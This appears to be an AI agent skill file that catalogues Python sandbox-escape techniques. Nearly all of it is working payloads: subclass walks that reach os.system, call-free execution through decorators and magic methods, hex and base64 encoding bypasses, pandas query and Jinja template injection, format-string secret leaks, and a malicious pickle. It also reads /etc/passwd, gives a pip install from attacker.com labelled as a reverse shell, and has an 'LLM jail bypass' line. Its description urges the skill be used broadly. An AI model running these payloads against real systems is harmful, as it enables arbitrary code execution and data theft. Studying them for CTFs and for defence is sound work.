| name | python-sandbox-escape |
| description | How to escape Python sandbox restrictions and gain code execution. Use this skill whenever the user mentions Python sandboxes, restricted Python environments, CTF challenges with Python jails, eval/exec restrictions, sandboxed code execution, or any scenario where Python code runs in a limited environment. This includes CTF writeups, security research, penetration testing, or debugging restricted Python environments. Make sure to use this skill even if the user doesn't explicitly say "sandbox" - if they mention restricted Python, eval-only environments, or Python CTF challenges, this skill is relevant. |
Python Sandbox Escape Techniques
This skill provides techniques for escaping Python sandbox restrictions and gaining arbitrary code execution in restricted Python environments. These methods are useful for CTF challenges, security research, and understanding Python's security model.
When to Use This Skill
Use this skill when:
- Working on CTF challenges with Python sandbox restrictions
- Debugging restricted Python environments (eval-only, no imports, etc.)
- Security research on Python sandbox vulnerabilities
- Analyzing Python code execution in constrained environments
- Needing to understand Python's internal object model for exploitation
Quick Reference: Command Execution Methods
Direct Command Execution (if libraries available)
os.system("ls")
os.popen("ls").read()
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("/bin/bash")
importlib.import_module("os").system("ls")
__import__("os").system("ls")
sys.modules["os"].system("ls")
File Operations
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
Technique 1: Accessing Builtins
When __builtins__ is available
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
__builtins__["open"]("/etc/passwd").read()
When __builtins__ is NOT available
Python still loads many modules in memory. Access them via:
help.__call__.__builtins__
license.__call__.__builtins__
print.__self__
get_flag.__globals__['__builtins__']
__builtins__ = [x for x in (1).__class__.__base__.__subclasses__()
if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Technique 2: Accessing Subclasses
Access __subclasses__() from various objects:
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]()
Technique 3: Finding Dangerous Libraries
Search for loaded modules that contain dangerous libraries:
[x.__init__.__globals__ for x in "".__class__.__base__.__subclasses__()
if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__][0]["os"].system("ls")
[x for x in "".__class__.__base__.__subclasses__()
if x.__name__ == 'Popen'][0]('ls')
[x.__init__.__globals__ for x in "".__class__.__base__.__subclasses__()
if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__][0]["sys"].modules["os"].system("ls")
Comprehensive Search Script
Use scripts/find_dangerous_libs.py to automatically search for dangerous libraries and functions in loaded modules.
Technique 4: Execution Without Calls
Using Decorators
@exec
@input
class X:
pass
@eval
@'__import__("os").system("sh")'.format
class _:
pass
Using Magic Methods
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec
__getitem__ = exec
__add__ = exec
rce = RCE()
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce
sys.modules["pwnd"] = RCE()
exit()
Using Metaclasses
class Metaclass(type):
__getitem__ = exec
class Sub(metaclass=Metaclass):
pass
Sub['import os; os.system("sh")']
Using Exceptions
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec
raise RCE
class Klecko(Exception):
__add__ = exec
try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")'
Technique 5: Encoding Bypasses
Hex/Octal/Base64
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
UTF-7 Encoding
assert b"+AAo-".decode("utf_7") == "\n"
payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
Technique 6: Eval/Exec Tricks
Bypassing eval Limitations
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))
[a:=21, a*2]
__import__('timeit').timeit("__import__('os').system('ls')", number=1)
Pandas Query Injection
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
Technique 7: Format String Exploitation
Accessing Internal Objects
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj=people)
get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj=people)
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
Sensitive Information Disclosure
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}
Format String to RCE
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
Technique 8: Function Dissection
Accessing Function Code
get_flag.__code__
get_flag.__code__.co_consts
get_flag.__code__.co_varnames
get_flag.__code__.co_code
import dis
dis.dis(get_flag)
Recreating Functions
code_type = type((lambda: None).__code__)
fc = get_flag.__code__
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals,
fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts,
fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name,
fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars,
freevars=fc.co_freevars)
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
Technique 9: Pickle Exploitation
Creating Malicious Pickle
import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main, (["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Reverse Shell via Pip
pip install http://attacker.com/Reverse.tar.gz
pip.main(["install", "http://attacker.com/Reverse.tar.gz"])
Technique 10: Globals and Locals Discovery
globals()
locals()
get_flag.__globals__
class_obj.__init__.__globals__
[x for x in "".__class__.__base__.__subclasses__() if "__globals__" in dir(x)]
Helper Scripts
Find Dangerous Libraries
Run scripts/find_dangerous_libs.py to automatically search for dangerous libraries and functions in loaded modules:
python scripts/find_dangerous_libs.py
This script searches for:
os, subprocess, commands, pty, importlib, sys, builtins, pip, pdb
- Functions:
system, popen, Popen, spawn, __import__, exec, etc.
Recursive Search for Builtins
Run scripts/recursive_search.py to recursively find places where builtins, globals, and dangerous objects can be accessed:
python scripts/recursive_search.py
This searches from:
- Empty strings
- Loaded subclasses
- Global functions
Common CTF Patterns
No Builtins, No MRO
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]()
Django/Jinja attr() Access
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
LLM Jail Bypass
().class.base.subclasses()[108].load_module('os').system('dir')
Safety Notes
- These techniques are for educational purposes and CTF challenges
- Only use on systems you have permission to test
- Many of these techniques rely on specific Python versions and configurations
- Always verify the Python version and available modules before attempting exploits
References